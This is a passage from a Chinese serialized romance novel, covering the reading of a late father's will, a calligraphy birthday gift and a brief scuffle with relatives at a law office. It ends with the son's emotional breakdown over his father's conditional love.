“他俩也是何川的客户。”樊均又小声补了一句。 “啊?”邹飏愣了愣,“这么巧。” “是挺巧的,”唐大哥说,“那你们先忙,我们就是过来送送,就不多打扰了,节哀。” 看着两人走了,樊均看礼堂那边看了看:“接下去要做什么?” “不知道,”邹飏也看了一眼,那边一结束就又吵了起来,看一眼都觉得脑子疼,“也没人告诉我……走吧。” “嗯。”樊均应了一声。 邹飏把自己和樊均胸口的花都摘了下来,放到了一边的盒子里,既然大姑他们那么想要做主,那就让他们做主吧。 “但遗产这个事儿,跟他们可没关系!”刘文瑞坐在餐桌边,拍了拍桌子。 “嗯,这个遗产吧,如果没有遗嘱,那就是邹飏他爷爷奶奶,邹天瑞母女俩和邹飏这几个人继承,”李知越看了邹飏一眼,“你爷爷奶奶没在了吧?” “嗯。”邹飏点了点头。 今天宿舍这几位知道了周六就要宣读遗嘱,立马着急上了。 李知越专门打了电话过来说请客吃饭,一帮人还要了个包厢,要讨论小金羊的遗产问题,小金羊本羊都没他们这么积极。 “那爷爷奶奶那份不就是兄弟姐妹们的了?”张传龙问。 “不不不不,”李知越看着手机,“爷爷奶奶先没的,那一份就没有了,属于……法定资格……自然灭失……” “那就行了,那就是邹天瑞和邹飏分!”刘文瑞又一拍桌子。 “不是,”樊均说,“现在是有遗嘱啊。” “哦对,”刘文瑞愣了愣,“那遗嘱上都有谁啊?” “律师说就我和邹天瑞。”邹飏说。 “还是啊,”刘文瑞摸了摸下巴,“这遗嘱什么时候立的?是你息影前吗?” “应该……是吧,”邹飏想了想,“但也不排除我息影之后气着他了他把遗嘱改了。” “所以你看,你这个脾气,”刘文瑞摇摇头,“还是得控制着点儿,以钱为重啊……” “反正通知让你去了就肯定有你的。”李知越说。 “那万一就是为了气他,分给他一双拖鞋,让他过去领……”张传龙皱着眉。 “你闭嘴吧你这个脑子平时少用,”刘文瑞指着他,“用多了对旁边的人血压有影响。” 樊均笑了起来,看了一眼邹飏。 “嗯?”邹飏也看着他。 “还好吗?”樊均问。 “还行,”邹飏笑了笑,“那个闷劲儿已经过去了。” 樊均在这会儿特别能体会到,为什么邹飏郁闷的时候会想要跟宿舍这几个人待上一会儿。 这帮人并不会劝他不要难过,不要多想,他们只按天下无事的节奏,该出主意出主意,该开玩笑开玩笑,连该说错的话也都没一句对的…… 就……能很轻松地把邹飏的情绪拉回到正常的状态里。 几个人一顿饭也没讨论出什么结果来,毕竟遗嘱怎么写的都不知道,但还是做出了一个统一的决定。 周六一块儿去律所。 对方人多,他们人也不能少,真要闹起来不吃亏。 “反正都在门口杵着,”刘文瑞说着看了一眼樊均,“我们年轻力壮的。” “嗯,”张传龙也看了一眼樊均,“一看就都是练家子。” “那是樊均,”李知越提醒他俩,“不是镜子。” “说什么呢!”刘文瑞瞪着李知越提高声音。 “他说不让照镜子。”张传龙说。 邹飏没绷住笑出了笑:“你们就是凑数的,龙龙连脑子都是凑数的。” “能不能对自己有个正确的认知,邹飏一个人都能打我们仨了,”李知越叹了口气,“还瞅樊均呢。” 吃完饭走出饭店的时候,樊均感觉自己脸都笑皱了。 他搓了搓脸,看了一眼手机,不早了。 “你……”他犹豫了一下,看着邹飏,“回宿舍?” “哟?”邹飏愣了愣,“你要抛弃我?” “……不是,这就在你们学校旁边了,”樊均小声说,“明天不是第一节还有课吗?还要汇报什么的。” “那怎么了。”邹飏盯着他。 “我……”樊均犹豫了一下,“晚上有事儿。” 他的确是有事儿,他得去打铁,他作为一个极度不熟练的铁匠,要打出自己想要的那个面具,需要很多偷偷摸摸的时间。 “嚯。”邹飏说。 “我们回宿舍了啊!”刘文瑞在旁边喊了一声。 “等,”樊均一指他,“邹飏也回宿舍。” “Oh?”刘文瑞有些意外。 “行吧,”邹飏啧了一声,“那你回去忙你的事儿,我正好今儿晚上也有事儿。” “什么事儿?”樊均问。 邹飏没说话,看着他。 “哦。”樊均应了一声。 邹飏笑着捏了一下他的脸:“明年你再这么跟我瞒着事儿,我可能就会发火了。” “为什么?”樊均没明白。 “现在热恋期,你说什么我都不生气。”邹飏说。 “……真的吗?”樊均有些吃惊,“你……跟我没生过气?” 邹飏清了清嗓子:“嗯。” 樊均震惊地看着他,过了一会儿才点点头:“行吧。” “回吧。”邹飏说,“到了给我发消息。” 看着樊均骑着车在前面路口拐弯了,他才转身伸了个懒腰,一挥手:“走。” “以为你俩要在那儿杵一夜。”刘文瑞说。 “今天我是不是有快递?”邹飏问。 “嗯,龙龙帮你拿了,”刘文瑞说,“买什么了?” “樊均的礼物。”邹飏说。 “你不是说樊均生日他要给你做个礼物么,”刘文瑞说,“他生日,他都做!个礼物送你,你就网上买现成的啊?” “谁说现成的,”邹飏一挑眉毛,“我送他的也得现做。” 第97章 樊均的生日礼物的确不是现成的,但要说这个“现做”有多麻烦……倒也谈不上。 原料们都已经在宿舍了。 只等着他动手“组装”。 宿舍几个人正好吃撑了需要消食儿,回到宿舍立马就帮他的快递都给拆了,然后往桌子上一排码开。 笔墨纸砚。 齐了。 “飏,你牛啊。”刘文瑞撑着桌子,看着这些他这辈子可能就小学书法课外班摸过一次的东西,发出了感慨。 “什么牛啊羊啊?”张传龙问。 “你用这种格式说话的时候不要叫得这么亲热。”邹飏一样样把东西拿起来检查了一遍。 没问题。 他坐到桌边,拧开了墨瓶子。 “你要写字还是画画啊?”张传龙问。 “都有。”邹飏说。 “你怎么没买墨条,人家不都是一边磨一边写吗?”张传龙问,“你就买瓶黑墨水……” “那你得找我爸,他爱这么慢慢磨着写。”邹飏从李知越桌上拿了个没用过的一次性杯子,往里面倒了点儿水。 “这墨还要兑水啊?”刘文瑞凑了过来。 “开笔。”邹飏拿过毛笔,一下下在毛头上捏着,把胶都捏开了之后放进水里边涮边转圈按。 “这么讲究?”刘文瑞说。 邹飏没说话,又用手指接着捏。 “这么粗鲁。”刘文瑞又说。 “你跟他认识十几年了,”李知越说,“你没见过他干这些吗?” “没,”刘文瑞说,“我就见过他打架。” 邹飏啧了一声,把笔拿出来试了试,在纸巾上把水蘸干了。 刘文瑞的确是没见过他干这些,他平时也很少写写画画的,尤其是写字,要不是老爸逼着,他不会写,写就是为了让老爸看而已。 没想到这唯一的技能还能用来给樊均“做”礼物。 笔开好之后,他往砚台里倒了墨,拿起笔,站在刘文瑞已经帮他铺好的低面前。 “直接写了吗?不用热热身?”李知越问。 “现在就是先练练。”邹飏说着提笔,准备往下落的时候刘文瑞把纸拿开了。 “练习的话我给你找点儿废纸,”刘文瑞说,“这么好的纸别浪费了。” “我买那么多就是拿来练的,废纸能跟这个纸一个手感吗……”邹飏有些无语。 “就拿这个写吧,”李知越靠到了桌边,“我着急想看看。” 刘文瑞把纸铺顺桌面上,几个人一块儿围在旁边,盯着邹飏手里的笔。 “这弄得我都有点儿紧张了。”邹飏重新润了润笔,呼出一口气。 落笔。 你。 “我靠,”李知越弯腰看了看字,“邹飏你这字……漂亮啊!” “被他爸逼着练了那么多年呢,我虽然没见过,”刘文瑞突然骄傲起来,“但知道他一直练字。” “你,”张传龙说,“你什么?” “你的样子。”刘文瑞说。 紧跟着几个人就同时唱了起来。 “你紧张局促的样子……” “让风尘刻画你的样子……” 唱的还不是同一首,刘文瑞和李知越看着跟他们版本不同的张传龙。 “我不会唱老歌。”张传龙说。 “对,你年轻嘛。”刘文瑞点头。 邹飏再次落笔,几个人又一块儿盯着。 大。 “你这字是写得真好啊邹飏,”张传龙感叹着,“平时就知道你钢笔字写得好……” “你大……”刘文瑞念出口的时候很顺,但及时打住了,大概觉得毕竟是个生日礼物。 “你大眼儿瞪小眼儿……”李知越啧了一声。 爷。 邹飏写完,把笔往旁边一架,满意地退后一步欣赏着。 “靠。”李知越笑了起来。 “你大爷!”刘文瑞忍不住标准地念了一遍,“你就写这么个玩意儿送樊均啊!” “说了就是热热身找找手感。”邹飏说。 “人正常人都是要写哪个就练哪个的好吗?”刘文瑞说。 “既然你要求了……”邹飏活动了一下手腕。 “我没要求!”刘文瑞说,“你就拿这个送他!” 邹飏笑了笑,重新拿起了笔。 几个人没了声音,再次一块儿盯着他手里的笔。 我。 “我他……”刘文瑞看着他,“耍我们呢?” 爱。 “哎哟。”李知越笑着说了一句。 你。 邹飏放下笔,手感还不错,没太生疏。 “我们也爱你,”李知越给他一个飞吻,“mua~” “mua~”张传龙立马也跟上。 “mua~”刘文瑞mua完又偏开头,“tui~个没良心的。” 邹飏笑着把纸拎起来看了看。 “这么长的纸不能就写三个字儿吧?”李知越问,“正式写的时候是还要避开我们吗?写的那天我们清场。” “不用,”邹飏说,“我是还没想好……就一幅字配个小画会不会单薄了点儿?” “那再给他买个被子。”张传龙说。 几个人一块儿笑倒在椅子上。 “我觉得很好了,”张传龙很严肃,“看着只是一张纸,但这上面的字儿和画,是你十几年的练习积累,很厚重。” “我操,龙龙。”邹飏看着他,这一瞬间居然感觉眼眶都有点儿发酸。 “张传龙!”刘文瑞,愣了一会儿才过去搂着张传龙的肩晃了晃,“今天我承认你是我们宿舍的。” “这字儿到时是不是还得裱?”李知越问。 “嗯,”邹飏点点头,“我自己裱就行,就是水平次点儿。” “牛逼,”李知越说,“到时要人打下手吗?” “这话说的,”邹飏啧了一声,“在旁边帮我喊个加油什么的吧。” “没问题。”刘文瑞说。 一锤子下去,錾头不知道怎么跳了一下,樊均只觉得指尖一阵尖锐的刺痛,跟着一颗血珠子就涌了出来。 他甩了甩手,盯着指尖。 “走神儿了吧!”小龙拿了一片消毒湿巾给他,“集中注意力,手要握实了……” “嗯。”樊均应了一声,用湿巾在指尖上擦了擦,看清了这道小口子,不算太深。 “这种要打深一些的地方,不能直接那么一砸,要用钝力。”小龙又找出一片创口贴递了过来。 “嗯。”樊均接过创口贴,但并没有马上往手指上贴。 “怎么了?”小龙凑过来看了看。 “能感觉到疼。”樊均说。 “嗯?”小龙愣了愣,抬头看了他一眼,反应过来,“原来没感觉是吗?” “是。”樊均点点头,又挤了一下指尖,血再次涌出来,没有刚戳伤时那么疼了,但还是带着微微的刺痛。 “那说明在恢复了啊,”小龙抱着胳膊想了想,“这都伤了快一年了吧,也该开始恢复了。” “嗯。”樊均笑了笑,又挤了一下,然后才把创口贴包在了指尖上。 不知道是不是因为这一点儿小小的疼痛带来的刺激,这一晚上工作效果挺高的,他打完了内圈一圈的纹路。 虽然工作量还是挺大,但如果按今天这进度,肯定可以提前完成。 从铁匠铺出来,整个商贸城已经空无一人。 樊均带着小白顺着商贸城外面走了一圈儿上完了厕所,然后在何川店门口那条街上给小白松了牵引,让它飞跑了两个来回。 “等小飏哥哥的事儿处理完了,带你出去郊外跑一跑。”樊均搓了搓小白的脑袋。 小白一听“出去”和“跑一跑”,立马高兴地哼唧着往他身上蹭了蹭。 “不是现在,是过一阵儿。”樊均抓着它嘴筒子晃了晃。 小白很低地叫了一声。 “真乖。”樊均拍拍它的头。 周六休息,邹飏没让他专门到学校去接,把律所的定位发给了他。 【邹yang】你直接过去,来接我们太绕了 【樊】好 何川把新车钥匙扔到了他面前:“开这个吧。” “嗯?”樊均拿过钥匙,“我开那个皮就行。” “开这个新车,毕竟是去争财产,得有点儿派头。”何川说。 “他爸那边儿亲戚都挺……到时给你车再划了。”樊均说。 “划!让他划!”何川说,“你看真划了我怎么治他,我混多少年江湖了,我损招多着呢!” 樊均笑了笑,把钥匙放到了兜里:“谢了啊何老板。” “别客气,”何川摆摆手,“自己人。” 曹律师的这个律所不是特别远,但在樊均从来没有去过的新区。 他开着导航,一路过去的时候再次有了一种探索的感觉。 完全陌生的街道,都很新,非常宽,连绿化带里种的植物都长出了新芽,能清晰地看到不同的植物组成的图案,而且因为都是新芽,图案都显得很新。 律所在一个同样很新的商业区的写字楼里,虽然是个周末,但停车场里还是停了不少车。 樊均停好车刚下来,就看到了写字楼一楼的大厅里站着的邹飏的大姑,估计是在等人。 这个大姑是所有亲戚里最激动的,二姑跟她感情很好,总是一体行动,听说还有一个叔,但葬礼那天闹哄哄的也没分清谁是谁。 看到他进来,大姑扫了一眼没出声。 樊均也没理她,过去按保安要求填了个来访登记,进了电梯,上了三楼。 “他到了。”邹飏看了一眼手机上樊均发过来的消息。 坐在他旁边的刘文瑞明显松了口气,刚他们到的时候,大姑已经在楼下了,正打着电话,邹飏扫了一耳朵听着像是在问其他人到了没。 这如果亲戚都到了,他们人数上是不够的,得有樊均这种能以一当十的在场,他们才踏实。 “来了。”张传龙往门口看了一眼,立马站了起来,“樊哥。” 樊均跟他们几个小声打了个招呼:“怎么样?” “邹天瑞和她小姨也到了,在里面房间,”邹飏起身跟他小声说着,“今天律所好像也安排了人……” 他进来的时候就发现了,有几个眼神看着就不太像律师的人站在外面走廊上。 “外面走廊上那几个吗?”樊均问。 “嗯。”邹飏点点头。 “什么时候开始?”樊均又问。 “还十分钟,里面准备着呢,还要录像什么的,架摄影机,”邹飏说,“你一会儿就是不要让他们进来闹就行。” “能动手吗?”樊均问。 “尽量不要,”邹飏笑了笑,看了一眼监控,“他们要是动手了再还手。” “好。”樊均应着。 “邹飏,”李知越凑了过来,“一会儿可能要签字的东西不止一份的,看清了再签,什么遗嘱确认的,法定继承的,要看清。” “嗯。”邹飏点头,“你这一说给我弄得有点儿紧张。” “没事儿,你脑子好用的。”李知越拍拍他的肩。 律所的工作人员过来通知可以到会议室开始遗嘱宣读时,邹飏感觉自己心情一下紧张起来了。 他没有经历过这种事儿,走进会议室的时候都感觉有点儿热。 “请坐。”曹律师已经在会议室里等着他们。 邹飏看了一眼坐在他对面的邹天瑞,邹天瑞低着头坐在她小姨旁边。 这两次见面都很木然,没有了以前有些嚣张跋扈的样子。 流程开始,先验明正身,再告知身份目前只是临时监护人的小姨,仅能以委托监护人身份参与遗嘱宣读,无权处分财产。 接着曹律师清了清嗓子:“遗嘱宣读。” 邹飏看向他。 “本人邹砚清,身份证号……”曹律师看了一眼坐着的几个人,“神智清醒,兹订立本遗嘱,第一条,不动产分配……” 邹飏撑着额角,他还真不知道老爸有些什么不动产。 “坐落于临湖路18号的别墅,房产证编号……由刘巧女士单独继承,坐落于金川路600号金川一号的别墅,房产证编号……由邹飏先生单独继承……” 邹飏挑了一下眉,这两独别墅他都没听说过,老爸自己也一直只是住在之前小区的公寓楼里。 对面的小姨听到这里就急了:“两个别墅都没有天瑞的吗!” “请不要干扰宣读。”工作人员低声提醒。 看来邹天瑞和小姨是知道这两套别墅的存在的,并且应该是只有这两套,要不小姨也不能这么急。 老爸当初应该没想到刘巧会杀他……财产给了刘巧,就相当于也给了邹天瑞。 “清河苑28-3公寓,房产证编号……由刘巧女士单独继承……”曹律师继续宣读,“江野苑书画院,产权证号……由邹飏先生继承经营,不得变卖……” “嗯?”邹飏愣了愣。 “动产分配……”曹律师看了他一眼,“银行保险箱00182号,00183号内所有瓷器及首饰,清单见附件一,归刘巧所有,本人收藏于书房和茶室内的所有书画及书籍,清单见附件二,归邹飏所有……” “这不对吧!天瑞什么都没……”小姨再次忍不住开了口。 “请您保持安静,如果再出现干扰宣读的情况,只能请您离开。”曹律师说。 小姨拧着眉,搂了搂邹天瑞,又看了一眼邹飏。 邹飏没有什么表情,也没看她。 接下去还有些杂七杂八的东西和收藏品,就跟邹飏没什么关系了,基本都是刘巧继承。 看来这份遗嘱是他息影前老爸立下的,而且是在跟助理好上之前…… “接下去……是关于剥夺……”曹律师一边说着,那边邹天瑞突然暴发出了哭声,他并没有停顿,“根据……第03号刑事判决书认定,刘巧女士因故意杀害被继承人邹砚清,已丧失全部继承权……” 邹飏靠在椅背上,轻轻叹了一口气。 “其原获分配的临湖路18号的别墅及银行保险箱00182号,00183号内所有瓷器首饰,将回归遗产池,由邹邹飏、邹天瑞按法定继承均分,”曹律师说完扫了一眼他们,“另根据《民法典》第1159条及第1161条,刘巧需承担的民事赔偿金,含李薇索赔,优先执行刘巧个人名下财产,若上述财产不足清偿,剩余债务从刘巧丧失的继承财产中扣除……” “什么?”小姨再次站了起来,但很快又坐了回去,脸色很难看,“她还有脸提出赔偿?” 为了保障邹天瑞的生活,曹律师表示已经从总遗产里划拨了一笔钱用于支付她22岁前的学习生活和医疗费用。 “最后,遗嘱执行人,指定曹忠为唯一执行人,有权从遗产中扣除执行费用……”曹律师宣读完所有遗嘱内容,把需要签字的文件放到了邹飏和邹天瑞面前。 遗嘱确认书,法定继承申明书,债务清偿承诺书…… 这些对于邹飏来说没有什么难度,他并不在意这些东西最后能有多少到他手里,他看完这些东西,只问了一句:“是要先赔偿对吧?” “是的,遗产清偿债务优先于继承分配。”曹律师回答。 邹飏拿起笔,在几份文件上签下了自己的名字。 “不能签字,”对面的小姨有些急切地按住了邹天瑞的手,“这……这不对呢……” “有什么不对的?”邹天瑞问,突然猛地甩开了她的手,几乎是尖叫着喊了起来,“有什么不对!有什么不对!有什么不对——” 邹飏放下笔,站了起来,低声问工作人员:“我可以走了吗?” 工作人员点了点头。 他转身走出了会议室。 刚一转到外面的办公区,就看到了站在那儿的三个警察,还有旁边的樊均他们。 邹飏吓了一跳:“怎么了?叔叔怎么来了?” “没事儿了没事儿了,”刘文瑞赶紧摆手,“已经处理完了,他们刚想冲进去……” 又压低声音:“说邹砚清的财产怎么会跟邹家人一点关系都没有。” “我和邹天瑞都姓邹呢。”邹飏说。 “不管他们,算个屁。”刘文瑞声音里居然带着点儿兴奋。 邹飏看了他一眼:“怎么,我爸给你也分了一份吗?” “不是,”刘文瑞笑了,“操,你这嘴……刚你不知道樊均有多帅,我操,太帅了……” 邹飏看向樊均。 樊均靠在一张办公桌旁边,冲他勾了勾嘴角。 “受伤了没?”邹飏往他那边走过去。 “没,怎么可能。”刘文瑞跟在他后头。 “没问你。”邹飏说。 “你大爷邹飏。”刘文瑞骂了一句。 “没。”樊均笑笑。 邹飏走过去,也不管旁边还有一堆人,伸手用力搂住了他,闭上眼睛,长长地舒了一口气。 第98章 屋里人挺多的,没有周末正在干活的几个律师,宿舍一帮人,警察叔叔,会议室里正往外看过来的人…… 邹飏知道自己在这种情况下搂着樊均不撒手看起来有些奇怪,但他这会儿就是不想动,不想松手,不想说话。 这会儿才觉得,自己刚在会议室里,好像已经耗尽了力量。 樊均也没动,只是一手搂着他,一手在他背上轻轻拍着。 过了好一会儿,他才感觉自己重新攒够了动的力气,松开了樊均。 “好了?”樊均低声问。 “嗯。”邹飏应了一声。 “谢谢叔叔啊,”刘文瑞在身后跟警察说着,“那我们能走了吧?” “走吧,”警察点点头,“跟你们一块儿下楼吧,我看他们人还在楼下没走。” “麻烦叔叔了。”刘文瑞说。 “会议室里是不是还有人要走的,你妹妹吗?”警察看着邹飏又问了一句。 “妹妹”这个词邹飏听着很别扭,但其实对于外人来说,这么称呼也没什么问题。 “嗯,”邹飏点了点头,“但我们不是一起的。” “知道了,”警察跟另一个同事说了一句,“让里面那俩要走的先不急,等我们上来了再陪着下去。” 大姑他们果然没走,一帮人站在停车场口子那儿。 看表情就知道,刚才的冲突应该是动了手,而且动了不只一双手。 “不要再在这里守着了!”一个警察指着他们,“真觉得有什么问题要解决的,一会儿跟我们回派出所聊聊!” “我们等着跟律师咨询事儿呢。”二姑出来笑着说。 “我们可不动手,我们动手也打不过他们啊,”大姑看着樊均,声音没了之前那种尖亮,显得心平气和,甚至有些温柔,“他们不知道从哪儿找来的打手呢,警察叔叔我建议你们最好查一下。” 樊均没说话,只是转头看她。 大姑也没再出声,转开了头。 “你们上车走吧。”警察没多说什么,只是对着邹飏他们说了一句。 邹飏往那些曾经也是逢年过节都会见面的亲戚们脸上扫了一眼,转身带了樊均一把,往车那边走过去。 “她刚说什么?”樊均问。 “我就知道你没听清,”邹飏没忍住笑了起来,“口型也没看到吗?” “我根本就没看她。”樊均说。 “她让警察查查你这个打手的底细!”刘文瑞帮着把信息补全了。 樊均笑了笑,拉开车门上了车。 中午这顿饭肯定是得一块儿吃的了,还有太多的信息需要交流,邹飏想知道他们在外面干什么了,他们想知道邹飏在里面干什么了。 这片儿大家都不熟,李知越打开小某书,找了个很多人推荐的餐厅,离他们的位置很近,准备订个包厢。 “这肯定网红店,”刘文瑞说,“又贵又不好吃。” “我们现在不在乎好不好吃,这顿饭你还顾得上味道吗?”李知越说着开始拨号。 “贵也不在乎吗!这不是平时我们吃的那种贵。”刘文瑞说。 李知越没理他。 “就这家吧,贵就贵点儿,”邹飏说,“我现在是实心的小金羊。” 今天的事儿是律所的人报的警,警察来了之后调了监控,李知越拿手机把画面录了下来。 进了包厢刚一坐下,邹飏就伸手:“手机拿来我看看。” “我发群里了。”李知越飞快地在手机上点着,“你自己存了慢慢看吧。” 邹飏拿出手机,点开了视频。 画面有些模糊,一开始离得老远,录了几秒才想起来拉近了拍。 樊均和刘文瑞他们在门边的沙发上坐着,门外突然出现了一大帮人,肯定不止几家亲戚。 在他们推门进来之前樊均就已经站了起来,前台站着的一个律所的工作人员时也拦到了门口。 但一帮人进来就推开了工作人员……邹飏一开始还以为这人是律师找来的安保呢,结果一推就被推开了……看来不是。 张传龙指着那帮人说了句什么,视频里听不清。 “龙龙说,再往前走不客气了啊。”刘文瑞及时进行了解说。 “话说得挺大。”邹飏说。 “那是,过瘾了再说,反正打起来有樊均。”李知越说。 张传龙没说话,只是愉快地笑了笑。 视频里看,他这句话没什么作用,一个看不清是谁的男人指着他也说了句什么,这句倒是能听清。 “不是你家的事儿你少管!” “那是你家的事儿吗你就管?”视频里刘文瑞也开始指人。 “没发挥好,这句没有攻击力。”刘文瑞在旁边摇摇头,接着又有些激动地指着屏幕,“就这儿,这儿开始,樊均上了!” 邹飏抬眼看了看凑在他旁边也正看着的樊均。 “先看这儿。”刘文瑞站在他身后,扳着他脑袋把他脸转回了屏幕前。 刘文瑞说完话的同时,樊均站到了这帮人跟前儿,没说话也没动。 说实话,监控这种从上往下拍的视频里都能看得出来樊均跟刘文瑞他们气场完全不同,大姑他们一帮人立马顿住了。 沉默了一秒,大姑身后的一个不明身份的男人冲了过去,侧着身,用肩撞在了樊均身上。 樊均没躲,看得出他就是在等这一下,不明男发现没撞动他,退了一步想要继续,但没等他站稳,樊均已经迅速跟上,对着他肩膀推了一把。 这一推用的劲儿很巧,看着都没用力,但男人直接倒在了身后的人身上,因为没人接住他,又一屁股坐到了地上。 大姑他们顿时有些混乱,不知道谁喊了一声“打人啦”,紧接着就有两个人冲向了樊均。 樊均侧身右手架住了其中一个的胳膊,同时伸腿勾过了前台旁边的一张转椅,踩着椅面往前一蹬,撞在了另一个人身上。 “看到没!行云流水!”刘文瑞的手从邹飏耳朵边伸过来,指着屏幕一通点点点,“行云流水!” 接着樊均扣着前一个人的手腕依旧就是一推,这人一个踉跄也坐在了地上,樊均跟上去,再次蹬着椅子把准备往前过来的人撞了回去。 两下之后,这帮人就被迫退回了门边。 “你们在干嘛?”邹飏看着在人群侧面来回晃动着的刘文瑞和张传龙,“练侧步呢?李知越呢?跑了?” “他推椅子去了。”樊均说。 “混战了要混战了!”张传龙提示他们不要聊天。 李知越一手一张椅子拖着,腿下还踢着一张,三张转椅被他从办公区滚到了门口,刘文瑞和张传龙很默契地冲过去,一人一张椅子,学着樊均的样子蹬着椅子把人往门外推。 就在这帮人要被推出门外时,邹飏看着大姑的儿子,他的表哥,翻身跳过了椅子,一把掀翻了刘文瑞。 刘文瑞在旁边啧了一声。 紧跟着就有好几个人跳过了椅子往里冲,也有没跳过来摔倒了的,比如二姑。 一片混乱中只有樊均还保持着正常的节奏。 始终没有挥拳,没有直接踢过一脚,用到的只有格挡,推,扣住手腕,推,抓住衣领,推,拽住胳膊,推…… 都没怎么用到左手。 三分多钟的时间里,这帮人始终都被拦在门边,警察赶到的时候,他们硬是连前台都没能冲过去。 “看到没,操,你看到没,”刘文瑞在桌子上敲着,“教科书般的潇洒,叔叔看视频的时候都问他是不是练过。” “嗯。”邹飏应了一声。 其实严格来说,这不算是打起来了,全程樊均都没有真正动过手,但就这种看着不急不慢但就是无人能破的状态,的确很潇洒。 “樊哥相当克制了。”李知越说。 “是,”刘文瑞点头,“这要换了邹飏,拦也肯定能拦住,但他肯定要锤肿几个人的脸,警察来了绝对要算群殴,我们这顿饭都得在派出所吃……” “滚蛋,”邹飏说,“点菜。” 刚服务员都已经进来了一次,看他们这热烈的状态,又退了出去。 几个人叫了服务员进来点菜的时候,邹飏把视频倒回去,从樊均拦住这帮人开始又看了一遍,然后把视频存在了手机里。 “这还留着啊?”樊均小声问。 “嗯,”邹飏点点头,“纪念。” “小孩儿。”樊均的手在桌子下摸了摸他的腿,又轻轻捏了两下。 “邹飏,”刘文瑞点完菜,盯着服务员一出去,立马转头看着他,“遗嘱说说,留了多少东西给你?” “一双拖鞋。”邹飏笑笑。 “滚。”几个人同时喊了一嗓子。 “是息影前的遗嘱吗?”李知越起身拿过桌上服务员刚送进来的茶,一边给大家倒茶一边问了一句。 “嗯。”邹飏应了一声。 “那就少不了,”刘文瑞说,“都有什么?” “一套别墅,”邹飏说,“还有……” “我操!”刘文瑞一拍桌子,“哪儿的?” “金川一号。”邹飏说。 “我查查,”李知越立马拿出手机,“看看差不多是多少面积。” “还有吗?”张传龙问。 “我爸有个小书画院,他平时接待客户总带过去的,”邹飏靠着椅背,看着面前的茶杯,“那个给我了,但不可以转卖。” “可以啊,不转卖就不转卖,”刘文瑞说,“干得了就干,干不了正常倒闭了就行了。” “别的就是还有他收藏的那些书和字画什么的。”邹飏说。 “有值钱的吗?”刘文瑞问。 “值是值点儿钱的,但应该没有特别值钱的,”邹飏想了想,“他就是个生意人,有特别好的只要价格合适都会卖掉……” 说起这些的时候,邹飏心里有些奇怪的感受。 他本来以为遗嘱宣读结束,他按流程该怎样就怎样,他也不会再去关注,钱什么时候给,东西什么时候给,他都无所谓,这一切就结束了。 现在这一切也的确结束了,他却开始觉得难受。 他不知道老爸有多少财产,也没想过老爸的遗嘱里会给他留多少东西。 但听到曹律师念出遗嘱里那些内容时,他突然很恨老爸。 如果这人什么都没有给自己留,他可能不会有什么情绪上的波动。 他清楚老爸对自己的一切都是有条件的,自己必须完全符合这些条件,必须完全是邹砚清的儿子,才能获得老爸的认可,获得那么几分好脸色。 而这一切,作为女儿的邹天瑞是不需要的,她可以任性,可以跋扈,可以没有规矩,可以没有教养。 老爸对她没有要求,只有疼爱,哪怕这样的疼爱并不正确。 但讽刺的是,遗嘱里老爸还是留给了他不少东西,特别是书画院和那些字画,就像一记反转的大锤砸向邹飏。 你看,无论你对我有多少不满和误解,无论我对你有多少苛责和伤害,我最终还是想着你的。 哪怕你只是在演戏,哪怕你只是为了钱,我还是把那些我认为我们父子间共同的爱好都留给了你…… 听到遗嘱内容的那一刻,自己那一丝微妙的无法言喻的后悔,让邹飏感觉到了愤怒。 那个让他十几年生活在郁闷和压抑里的人,在最后的最后仿佛恩赐一般地给了他看上去非常像是“父爱”的重重一击。 那种无力的也无处发泄的愤怒。 而这时的他已经没有了所有情绪指向的源头。 “邹飏。”樊均的声音在耳边响起。 手也被樊均紧紧握住了。 “我……”邹飏缓缓回过神,“没事儿。” 樊均摘掉了他的眼镜,拿着纸巾按在了他眼睛上。 他这才发现自己已经满脸都是眼泪。 “我去个厕所,”李知越站了起来,“文瑞你和龙龙去……催一下菜?” “顺便看看有没有什么酒,”刘文瑞也站了起来,“走,龙龙。” “哦。”张传龙起身跟在他俩身后走出了包厢。 “我真的没事儿,真的没事儿……”邹飏脸往前,把眼睛压在樊均手上靠着。 “嗯,”樊均揽住他的肩,“我知道,你这次是真的没事儿。” “我就是生气,”邹飏声音里带着颤抖,“特别特别生气。” “嗯。”樊均在他胳膊上搓着。 “他明明对我不满意!各种不满意,所有一切都不满意!他甚至因为我性格有些地方像我妈都不满意!”邹飏咬着嘴唇,眼泪怎么也止不住,“我是我自己他就不满意!” “以后都没有了,”樊均拿开了按在了眼睛上的纸巾,起身扳着他的肩,把他的脸按在了自己肚子上,用力揉着他的头发,“以后没有对你不满意的人了,邹飏,你认识的每一个人对你都很满意……” 邹飏搂紧他的腰,指尖狠狠地掐在腰上,掐得甚至有些疼。 沉默了几秒,邹飏哭出了声音。 几乎是嘶吼着的痛哭。 一开始听得出带着愤怒和委屈,渐渐地就变成了肆无忌惮的发泄式的痛哭。 樊均不知道该怎么安慰他,似乎也并不需要安慰。 邹飏需要好好发泄一下情绪。 他搂紧邹飏,搂着他颤抖着的肩。 沉默地听着。 不知道过了多长时间,邹飏的哭声停下了,只有时不时几下很轻的抽泣。 樊均能听到门外刘文瑞他们和服务员说话的声音,似乎是服务员已经端了几道菜过来,但都被他们拦在了门外。 邹飏偏过头,用力吸了一口气,伸手扯过一张纸巾擦了擦脸。 又愣了一会儿,松开了搂着他的胳膊,靠回椅背里,仰起头长长舒出了一口气。 “怎么样?”樊均在他鼻尖上轻轻摸了一下。 “舒坦了。”邹飏勾起嘴角笑了笑。 “让他们进来吗?”樊均问。 “嗯。”邹飏点点头,“饿死了。” 没等樊均去门口叫人,他转头冲着门喊了一嗓子:“刘文瑞!” 门立马被推开了,刘文瑞探了个脑袋进来:“哎!” “吃饭。”邹飏吸了吸鼻子。 “好嘞,”刘文瑞把门打开了,“等着,我们给您上菜。” 几个人从门外的传菜台上端起了几个盘子,一块儿走了进来,把菜放到了桌上。 “还有吗?”邹飏问。 “有,”刘文瑞说,“今天我们是放开了点的菜,不管怎么样,今天这个羊毛我们是一定要薅的。” 邹飏笑着拿起桌上的湿巾,胡乱往脸上擦了擦,戴上了眼镜。 服务员把他们点的一瓶红酒和饮料拿了进来。 “我们喝酒,樊哥喝饮料。”刘文瑞起身给樊均倒上饮料,又把酒也都倒上了。 “说点儿什么?”李知越拿起杯子。 “嗯。”张传龙清了清嗓子。 “你先等等。”刘文瑞看着他。 “我不说,”张传龙也拿起了杯子,“等你们说呢。” “……谁说?”刘文瑞看着邹飏。 “祝点儿什么。”邹飏拿着杯子,转头看着樊均。 